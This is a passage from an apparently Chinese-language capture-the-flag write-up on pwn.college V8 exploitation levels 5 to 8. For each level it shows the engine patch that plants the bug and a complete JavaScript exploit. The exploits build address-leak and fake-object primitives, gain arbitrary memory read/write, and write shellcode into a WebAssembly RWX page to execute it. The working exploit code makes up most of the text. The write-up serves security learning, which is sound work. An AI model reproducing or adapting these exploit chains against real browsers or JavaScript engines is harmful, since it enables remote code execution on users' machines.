(0x656c6c6168632fb8n ),i2f (0x31d231e78948506en ),i2f (0x0000050f583b6af6n )];var rwx_page_addr = ArbRead64 (get32addr (wasm_instance)+WASM_PAGE_SIZE );console .log ('[*] WASM Instance ADDR:' )console .log (get32addr (wasm_instance).toString (16 ));let buf = new ArrayBuffer (shellcode.length * 8 );let dataview = new DataView (buf);console .log ('[*] BUF ADDR:' )let buf_addr = get32addr (buf);console .log (buf_addr.toString (16 ));let backing_store_pointer = buf_addr + 0x24 ;backing_store_addr = ArbRead64 (backing_store_pointer); console .log ('[*] RWX PAGE ADDR:' )console .log (rwx_page_addr.toString (16 ));console .log (backing_store_addr.toString (16 ));ArbWrite64 (backing_store_pointer,rwx_page_addr);console .log (ArbRead64 (backing_store_pointer).toString (16 ));for (let i = 0 ; i < shellcode.length ; i++) { dataview.setFloat64 (8 * i, shellcode[i], true ); } f ();while (1 ){};
Level 5 給了一個 offbyone 可以任意控制 element len 位置的資料。patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 +BUILTIN(ArrayOffByOne) { + HandleScope scope (isolate) ; + Factory *factory = isolate->factory(); + Handle<Object> receiver = args.receiver(); + + if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Nope" ))); + } + + Handle<JSArray> array = Cast<JSArray>(receiver); + + ElementsKind kind = array ->GetElementsKind(); + + if (kind != PACKED_DOUBLE_ELEMENTS) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Need an array of double numbers" ))); + } + + if (args.length() > 2 ) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Too many arguments" ))); + } + + Handle<FixedDoubleArray> elements (Cast<FixedDoubleArray>(array ->elements()), isolate) ; + uint32_t len = static_cast<uint32_t >(Object::NumberValue(array ->length())); + if (args.length() == 1 ) { + return *(isolate->factory()->NewNumber(elements->get_scalar(len))); + } else { + Handle<Object> value = args.at(1 ); + if (!IsNumber(*value)) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Need a number argument" ))); + } + double num = static_cast<double >(Object::NumberValue(*value)); + elements->set (len, num); + return ReadOnlyRoots(isolate).undefined_value(); + } +} +
根據前面的經驗,這次應該就是要想辦法透過一個 oob 拿到任意控制長度對吧… 這次用了一個特別的技巧,讓程式進入 JIT 模式,使得其優化記憶體空間方便我們做一些操作(像是算 OFFSET)!
在進入 JIT 後,element len index 紀錄的不再是自己的 property / map pointers 而是下一個物件的。
回顧一下 property:https://v8.dev/blog/fast-properties 總之,一開始定義好(像是a = {meow:1}
)的東西(meow
)叫做 In-object ,會直接綁在物件裡,而後面定義的則會更新到 property 指向的地址建立一個 Chain! 這時候如果 property 地址可控,而且更重要的是前面提及的 JIT 後會讓 property 地址和其他物件的地址近很多(offset 幾乎固定),把它蓋成一個 array 的地址(透過 offbyone 拿到的 property 地址算),再去把相應 layout ,本來應該是 array len 的 property 改成一個大數就拿到前面的 array len 任意寫惹 w
後面就跟前面一樣步驟,不贅述 -w-
sol.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function f2ul (i ){ fv[0 ]=i; return uv[0 ]; } function f2uh (i ){ fv[0 ]=i; return uv[1 ]; } function shift32 (i ){ return i<<32n ; } function last32 (i ){ dv[0 ]=i; return uv[0 ]; } function to_jit ( ){return [1.1 , 2.2 , 3.3 , 4.4 , 5.5 , 6.6 , 7.7 ];}for (let i=0 ;i<0x100000 ;i++){to_jit ();}let trojan_arr = [1.1 , 2.2 , 3.3 ];let tmp_obj1 = {'meow' :1 };tmp_obj1.fake_element = 2 ; tmp_obj1.fake_len = 3 ; let sample_obj = {trojan_arr};let obj_arr = [sample_obj];let float_arr = [1.1 ];let tmp_obj2 = {'origin' :1 };tmp_obj2.fake_element = 2 ; tmp_obj2.fake_len = 3 ; console .log ('[*] Set length to trojan_arr' );trojan_arr.offByOne (u2f (f2ul (trojan_arr.offByOne ()), f2uh (trojan_arr.offByOne ())-0x84 )); tmp_obj1.fake_len =0x10000 ; console .log ('[*] Set length to float_arr' );float_arr.offByOne (u2f (f2ul (float_arr.offByOne ()), f2uh (float_arr.offByOne ())-0x7c )); tmp_obj2.fake_len =0x10000 ; before_obj_arr_map_addr = f2ul (trojan_arr[0x1d ]); obj_arr_map_addr = f2uh (trojan_arr[0x1d ])-1 ; obj_arr_prototype = f2ul (trojan_arr[0x1e ]); after_obj_arr_prototype = f2uh (trojan_arr[0x1e ]); float_arr_map_addr = f2ul (trojan_arr[0x24 ])-1 ; float_arr_prototype = f2uh (trojan_arr[0x24 ]); console .log ('[*] Map addr for obj_arr:' );console .log (obj_arr_map_addr.toString (16 ));console .log ('[*] Prototype for obj_arr:' );console .log (obj_arr_prototype.toString (16 ));console .log ('[*] Map addr for float_arr:' );console .log (float_arr_map_addr.toString (16 ));console .log ('[*] Prototype for float_arr:' );console .log (float_arr_prototype.toString (16 ));function get32addr (object ){ obj_arr[0 ] = object; trojan_arr[0x1d ] = u2f (before_obj_arr_map_addr, float_arr_map_addr+1 ); trojan_arr[0x1e ] = u2f (float_arr_prototype, after_obj_arr_prototype); addr = obj_arr[0 ]; obj_arr[0 ] = sample_obj; trojan_arr[0x1d ] = u2f (before_obj_arr_map_addr, obj_arr_map_addr+1 ); trojan_arr[0x1e ] = u2f (obj_arr_prototype, after_obj_arr_prototype); return f2ul (addr)-1 ; } function getfakeobject (addr ){ float_arr[0 ] = u2f (addr+1 , obj_arr_map_addr+1 ); trojan_arr[0x24 ] = u2f (obj_arr_map_addr+1 , obj_arr_prototype); cur_fake_obj = float_arr[0 ]; float_arr[0 ] = 1.1 ; trojan_arr[0x24 ] = u2f (float_arr_map_addr+1 , float_arr_prototype); return cur_fake_obj; } let a = [1.1 , 2.2 , 3.3 ];console .log (get32addr (a).toString (16 ));new_a = getfakeobject (get32addr (a)); console .log (new_a);new_a[2 ]=13.37 ; console .log (a);var arr = [1.1 , 2.2 , 3.3 ];var fake = [i2f (0x31040404001c01b5n ), i2f (0x0a0007ff11000844n )]; var ELEMENT_OFFSET = 0x18 ;var MAP_OFFSET = 0x54 ;var WASM_PAGE_SIZE = 0x28090 ;arr_element_addr = get32addr (arr)-ELEMENT_OFFSET ; fake_map_addr = get32addr (fake)+MAP_OFFSET ; fake_array = [u2f (fake_map_addr+1 , 750 ), u2f (arr_element_addr+1 , 100 )]; fake_obj = getfakeobject (get32addr (fake_array)+MAP_OFFSET ); function ArbRead64 (addr ){ addr -= 0x10 ; fake_array[1 ] = u2f (addr+1 , 100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, value ){ addr -= 0x10 ; fake_array[1 ] = u2f (addr+1 , 100 ); fake_obj[0 ] = i2f (value); } console .log (ArbRead64 (arr_element_addr).toString (16 ));ArbWrite64 (arr_element_addr, 1 );console .log (ArbRead64 (arr_element_addr).toString (16 ));var wasm_code = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var shellcode = [i2f (0x9090909090909090n ),i2f (0x2434810101666068n ),i2f (0x6567b84801010101n ),i2f (0x48506c667461632fn ),i2f (0x656c6c6168632fb8n ),i2f (0x31d231e78948506en ),i2f (0x0000050f583b6af6n )];var rwx_page_addr = ArbRead64 (get32addr (wasm_instance)+WASM_PAGE_SIZE );console .log ('[*] WASM Instance ADDR:' );console .log (get32addr (wasm_instance).toString (16 ));let buf = new ArrayBuffer (shellcode.length * 8 );let dataview = new DataView (buf);console .log ('[*] BUF ADDR:' )let buf_addr = get32addr (buf);console .log (buf_addr.toString (16 ));let backing_store_pointer = buf_addr + 0x2c ;backing_store_addr = ArbRead64 (backing_store_pointer); for (let i=0 ;i<20 ;i++){console .log ((8 *i).toString (16 )+':' +ArbRead64 (buf_addr+i*0x8 ).toString (16 ));}console .log ('[*] RWX PAGE ADDR:' )console .log (rwx_page_addr.toString (16 ));console .log (backing_store_addr.toString (16 ));ArbWrite64 (backing_store_pointer,rwx_page_addr);console .log (ArbRead64 (backing_store_pointer).toString (16 ));for (let i = 0 ; i < shellcode.length ; i++) { dataview.setFloat64 (8 * i, shellcode[i], true ); } f ();while (1 ){};
Level 6 給了一個 Array prototype 的 function,接著可以塞另一個 function 進去做 input 跟 output,input 是 array 裡面的值並且最後對應值會被換成 output。patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 UILTIN(ArrayFunctionMap) { + HandleScope scope (isolate) ; + Factory *factory = isolate->factory(); + Handle<Object> receiver = args.receiver(); + + if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Nope" ))); + } + + Handle<JSArray> array = Cast<JSArray>(receiver); + + ElementsKind kind = array ->GetElementsKind(); + + if (kind != PACKED_DOUBLE_ELEMENTS) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Need an array of double numbers" ))); + } + + if (args.length() != 2 ) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Need exactly one argument" ))); + } + + uint32_t len = static_cast<uint32_t >(Object::NumberValue(array ->length())); + + Handle<Object> func_obj = args.at(1 ); + if (!IsJSFunction(*func_obj)) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("The argument must be a function" ))); + } + + for (uint32_t i = 0 ; i < len; i++) { + double elem = Cast<FixedDoubleArray>(array ->elements())->get_scalar(i); + Handle<Object> elem_handle = factory->NewHeapNumber(elem); + Handle<Object> result = Execution::Call(isolate, func_obj, array , 1 , &elem_handle).ToHandleChecked(); + if (!IsNumber(*result)) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("The function must return a number" ))); + } + double result_value = static_cast<double >(Object::NumberValue(*result)); + Cast<FixedDoubleArray>(array ->elements())->set (i, result_value); + } + + return ReadOnlyRoots(isolate).undefined_value(); +} +
首先,他會先確認呼叫它的是個 array,然後去確認裡面都是 double,接著就進去 for loop 做操作。 請注意,這邊不會在執行過程中再檢查一遍,所以感覺其實有點 race condition 或者 ReEntrancy Attack ? 反正就是可以偷偷把它換成 object array,他卻依然把它做為一個 double array 的 layout 判斷,就成功拿到一個 type confusion,最後重新算一下對應的 offset 就可以戳出物件記憶體位置 & 透過抽換對應的位置變成地址來 FakeObject(因為這時候就被當成 object array 對待了)。 最後就跟前面的操作一樣了w
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function f2ul (i ){ fv[0 ]=i; return uv[0 ]; } function f2uh (i ){ fv[0 ]=i; return uv[1 ]; } function shift32 (i ){ return i<<32n ; } function last32 (i ){ dv[0 ]=i; return uv[0 ]; } function get32addr (obj ){ let flex_arr = [1.1 , 2.2 , 3.3 ]; let idx = 0 ; let addr = NaN ; flex_arr.functionMap (x => { if (idx == 0 ){ idx ++; flex_arr[2 ] = obj; } else if (idx == 1 ){ idx ++; addr = x; } return x; }); return f2ul (addr)-1 ; } function getfakeobject (addr ){ let flex_addr = [1.1 , 2.2 , 3.3 ]; let obj = {"meow" :"whale" }; let idx = 0 ; flex_addr.functionMap (x => { if (idx == 0 ){ idx ++; flex_addr[2 ] = obj; return u2f (addr+1 , 0 ); } else return x; }); return flex_addr[0 ] } a = [1.1 , 2.2 , 3.3 ]; console .log (get32addr (a).toString (16 ));b = getfakeobject (get32addr (a)) console .log (b);b[1 ] = 13.37 ; console .log (a);var arr = [1.1 , 2.2 , 3.3 ];var fake = [i2f (0x31040404001c01b5n ), i2f (0x0a0007ff11000844n )]; var ELEMENT_OFFSET = 0x20 ;var MAP_OFFSET = 0x24 ;var WASM_PAGE_SIZE = 0x2bf34 ;arr_element_addr = get32addr (arr)-ELEMENT_OFFSET ; fake_map_addr = get32addr (fake)+MAP_OFFSET ; fake_array = [u2f (fake_map_addr+1 , 750 ), u2f (arr_element_addr+1 , 100 )]; fake_obj = getfakeobject (get32addr (fake_array)+MAP_OFFSET ); function ArbRead64 (addr ){ addr -= 8 ; fake_array[1 ] = u2f (addr+1 , 100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, value ){ addr -= 8 ; fake_array[1 ] = u2f (addr+1 , 100 ); fake_obj[0 ] = i2f (value); } console .log (arr_element_addr.toString (16 ));console .log (ArbRead64 (arr_element_addr).toString (16 ));ArbWrite64 (arr_element_addr, 1 );console .log (ArbRead64 (arr_element_addr).toString (16 ));var wasm_code = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var shellcode = [i2f (0x9090909090909090n ),i2f (0x2434810101666068n ),i2f (0x6567b84801010101n ),i2f (0x48506c667461632fn ),i2f (0x656c6c6168632fb8n ),i2f (0x31d231e78948506en ),i2f (0x0000050f583b6af6n )];var rwx_page_addr = ArbRead64 (get32addr (wasm_instance)+WASM_PAGE_SIZE );console .log ('[*] WASM Instance ADDR:' )console .log (get32addr (wasm_instance).toString (16 ));let buf = new ArrayBuffer (shellcode.length * 8 );let dataview = new DataView (buf);console .log ('[*] BUF ADDR:' )let buf_addr = get32addr (buf);console .log (buf_addr.toString (16 ));let backing_store_pointer = buf_addr + 0x24 ;backing_store_addr = ArbRead64 (backing_store_pointer); console .log ('[*] RWX PAGE ADDR:' )console .log (rwx_page_addr.toString (16 ));console .log (backing_store_addr.toString (16 ));ArbWrite64 (backing_store_pointer,rwx_page_addr);console .log (ArbRead64 (backing_store_pointer).toString (16 ));for (let i = 0 ; i < shellcode.length ; i++) { dataview.setFloat64 (8 * i, shellcode[i], true ); } f ();while (1 ){};
Level 7 這次是 patch 了進入 JIT 後不檢查 MAP 值,也就是可以偷換類別?! 但,問題就是,怎麼穩定進入 JIT 去改?patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 diff --git a/src/compiler/turboshaft/machine-lowering-reducer-inl.h b/src/compiler/turboshaft/machine-lowering-reducer-inl.h index 170db78717b..17b0fe5c4e9 100644 --- a/src/compiler/turboshaft/machine-lowering-reducer-inl.h +++ b/src/compiler/turboshaft/machine-lowering-reducer-inl.h @@ -2740 ,7 +2740 ,7 @@ class MachineLoweringReducer : public Next { const ZoneRefSet <Map >& maps, CheckMapsFlags flags, const FeedbackSource & feedback) { if (maps.is_empty ()) { - __ Deoptimize (frame_state, DeoptimizeReason ::kWrongMap, feedback); + return {}; } @@ -2749 ,14 +2749 ,14 @@ class MachineLoweringReducer : public Next { IF_NOT (LIKELY (CompareMapAgainstMultipleMaps (heap_object_map, maps))) { - MigrateInstanceOrDeopt (heap_object, __ LoadMapField (heap_object), - frame_state, feedback); - __ DeoptimizeIfNot (__ CompareMaps (heap_object, maps), frame_state, - DeoptimizeReason ::kWrongMap, feedback); + + + + } } else { - __ DeoptimizeIfNot (__ CompareMaps (heap_object, maps), frame_state, - DeoptimizeReason ::kWrongMap, feedback); + + } diff --git a/src/d8/d8.cc b/src/d8/d8.cc index facf0d86d79..382c015bc48 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -3364 ,7 +3364 ,7 @@ Local <FunctionTemplate > Shell ::CreateNodeTemplates ( Local <ObjectTemplate > Shell ::CreateGlobalTemplate (Isolate * isolate) { Local <ObjectTemplate > global_template = ObjectTemplate ::New (isolate); - global_template->Set (Symbol ::GetToStringTag (isolate), + global_template->Set (isolate, "setTimeout" , FunctionTemplate ::New (isolate, SetTimeout )); - if (!options.omit_quit ) { + return global_template; }
看一下最後成功拿到地址的腳本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function get32addr (obj ){ let arr = [1.1 , 2.2 , 3.3 ]; let yes = false ; function hit_me ( ){if (yes){arr[2 ] = obj};} function opt (arr, f ){ for (let i = 0 ;i < 0x100 ;i++); arr[2 ] = 1.1 ; if (f%0x400 == 0 ){hit_me ();} return arr[1 ]; } for (let i=0 ;i<0x4000 ;i++){opt (arr, i)}; yes = true ; return f2ul (opt (arr, 0x1000000 ))-1 ; }
其實就是在函數內跑多次,讓 opt 被優化掉,那根據前面貼過的文章,進入 JIT 後會最優化,合理的幫每個變數都設定類別,直到出現不一樣的,偵測到了才會退出 JIT,但這邊又把檢察關掉等於可以欺騙他用同類別的方法去對待一個變數造成 Type Confution(
Exploit 上有個細節就是,拖慢 OPT 的執行速度使他更高機率進入 JIT(本來不知道直到參考了https://loora1n.github.io/2024/12/24/%E3%80%90V8%E3%80%91pwncollege%20V8%20Exploitation%20WP%E4%B8%8B/?highlight=v8 ,才知道有可能會變成另一種優化:MAGLEV) 另外有個重點,改變變數的函數必須是另一個外部的函數,不然 JIT 會笨笨的把所有東西一起當一樣的吃過去就做不到 Type Confusion,那 hit_me 函數又必須在優化裡面出現,所以讓他偶爾會被打到! 給自己補個坑,要去把 JIT 和 MAGLEV 相關的觸發條件,運作方法重新搞熟( 後面就是造成 TYPE CONFUSION 後,蓋 Map 的經典招數了w
嗎?並不是,因為是走 JIT 然後其實不太懂為什麼跑兩次後就會掛掉(八成是有東西被優化更徹底了 最後就是噩夢般的排 OFFSET 時間 QwQ(奇怪的值基本都是,自己找吧),還有硬寫幾個 for loop 去爆破找到 wasm instance 的 map,還有先給 buffer array 一個值賭大概 1/2 的機率會搜到對的東西( 最後最後,0X13371337 找回去 BUFFER ARRAY 後會變成 WASM 到 RWX PAGE 的 OFFSET 玩蹺蹺板般的爛掉,反正我是找兩個都大概在附近的情況手動+-8 算回正確 EXPLOIT 的(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function f2ul (i ){ fv[0 ]=i; return uv[0 ]; } function f2uh (i ){ fv[0 ]=i; return uv[1 ]; } function shift32 (i ){ return i<<32n ; } function last32 (i ){ dv[0 ]=i; return uv[0 ]; } function get32addr (obj ){ let arr = [1.1 , 2.2 , 3.3 ]; let yes = false ; function hit_me ( ){if (yes){arr[2 ] = obj};} function opt (arr, f ){ for (let i = 0 ;i < 0x100 ;i++); arr[2 ] = 1.1 ; if (f%0x400 == 0 ){hit_me ();} return arr[1 ]; } for (let i=0 ;i<0x4000 ;i++){opt (arr, i)}; yes = true ; return f2ul (opt (arr, 0x1000000 ))-1 ; } function getfakeobject (addr ){ let arr = [1.1 , 2.2 , 3.3 ]; let yes = false function hit_me ( ){if (yes){arr[2 ] = {}};} function opt (arr, i ){ for (let i = 0 ;i < 0x100 ;i++); arr[0 ] = 1.1 ; if (i%0x400 == 0 ){hit_me ();} arr[0 ] = u2f (addr+1 , 0 ); } for (let i=0 ;i<0x4000 ;i++){opt (arr, i)}; yes = true ; opt (arr, 0x100000 ) return arr[0 ]; } var arr = [1.1 , 2.2 , 3.3 ];var fake = [i2f (0x31040404001c01b5n ), i2f (0x0a0007ff11000844n )]; var ELEMENT_OFFSET = 0x20 ;var MAP_OFFSET = 0x24 ;var WASM_PAGE_SIZE = 0x2ccec ;arr_element_addr = get32addr (arr)-ELEMENT_OFFSET ; console .log (arr_element_addr.toString (16 ));fake_map_addr = arr_element_addr+0x64 ; console .log (fake_map_addr.toString (16 ));fake_array = [u2f (fake_map_addr+1 , 750 ), u2f (arr_element_addr+1 , 100 )]; fake_array_addr = get32addr (fake_array); console .log (fake_array_addr.toString (16 ));fake_obj = getfakeobject (fake_array_addr+MAP_OFFSET ); function ArbRead64 (addr ){ addr -= 8 ; fake_array[1 ] = u2f (addr+1 , 100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, value ){ addr -= 8 ; fake_array[1 ] = u2f (addr+1 , 100 ); fake_obj[0 ] = i2f (value); } var wasm_code = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var shellcode = [i2f (0x9090909090909090n ),i2f (0x2434810101666068n ),i2f (0x6567b84801010101n ),i2f (0x48506c667461632fn ),i2f (0x656c6c6168632fb8n ),i2f (0x31d231e78948506en ),i2f (0x0000050f583b6af6n )];let wasm_instance_addr = 0 ;for (let i=(0x1d0000 /8 );i<(0x1e0000 /8 );i++){ if (((ArbRead64 (i*0x8 )<<32n )>>32n ) == 0x00000725001cdbe9 ){ wasm_instance_addr = i*0x8 ; console .log (wasm_instance_addr); break ; } } var rwx_page_addr = ArbRead64 (wasm_instance_addr+WASM_PAGE_SIZE );console .log (wasm_instance_addr.toString (16 ));console .log ('[*] WASM Instance ADDR:' )console .log (wasm_instance_addr.toString (16 ));let buf = new ArrayBuffer (shellcode.length * 8 );let dataview = new DataView (buf);dataview.setFloat64 (0 , i2f (0x1337133713371337n ), true ); console .log ('[*] BUF ADDR:' );let buf_addr = 0 ;for (let i=(0xa0000 /8 );i<(0xc0000 /8 );i++){ if ((ArbRead64 (i*0x8 )>>32n )<<32n == 0x1337133700000000n ){console .log ((i*0x8 ).toString (16 ));buf_addr = i*0x8 +0x7630 ;break ;}; } console .log (buf_addr.toString (16 ));let backing_store_pointer = buf_addr + 0x24 ;backing_store_addr = ArbRead64 (backing_store_pointer); console .log (backing_store_addr.toString (16 ));ArbWrite64 (backing_store_pointer,rwx_page_addr);console .log (ArbRead64 (backing_store_pointer).toString (16 ));for (let i = 0 ; i < shellcode.length ; i++) { dataview.setFloat64 (8 * i, shellcode[i], true ); } f ();while (1 ){};
Level 8 進入 JIT 後去除了長度檢查, FREE OOBpatch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc index 02 a53ebcc21..006351 a3f08 100644 --- a/src/compiler/simplified-lowering.cc +++ b/src/compiler/simplified-lowering.cc @@ -1888 ,11 +1888 ,11 @@ class RepresentationSelector { if (lower<T>()) { if (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && - index_type.Max() < length_type.Min())) { + index_type.Min() < length_type.Min())) { - if (v8_flags.turbo_typer_hardening) { + if (false ) { new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds; } else { DeferReplacement(node, NodeProperties::GetValueInput(node, 0 )); diff --git a/src/d8/d8.cc b/src/d8/d8.cc index facf0d86d79..382 c015bc48 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -3364 ,7 +3364 ,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates ( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); - global_template->Set(Symbol::GetToStringTag(isolate), + global_template->Set(isolate, "setTimeout" , FunctionTemplate::New(isolate, SetTimeout)); - if (!options.omit_quit) { + return global_template; }
但我還是卡了好久,最後看別人 Exploit 才知道要讓輸入的 index 是 SMI,所以要上類似 i = i & 0XFFFFFFF
的東西讓 v8 相信他是 smi 後面就是達成 oob 即可,記得算算 offset,跟前面一樣? oob 後就是直接 aab, aar,可能會想說會不會想 level 7 一樣要自幹掃描但答案是不會🎉,因為 aab, aar 和 getaddr 太好用了所以都用兩次就好w opt 函數和 Debug 技巧(假裝已經進入 JIT) 原則上會比較好算 OFFSET w
1 2 3 4 5 6 7 8 9 function opt (addr ){ let trojan_arr = [1.1 ]; let array = [1.1 , 2.2 , 3.3 ]; while (1 ){}; } %OptimizeFunctionOnNextCall (opt);
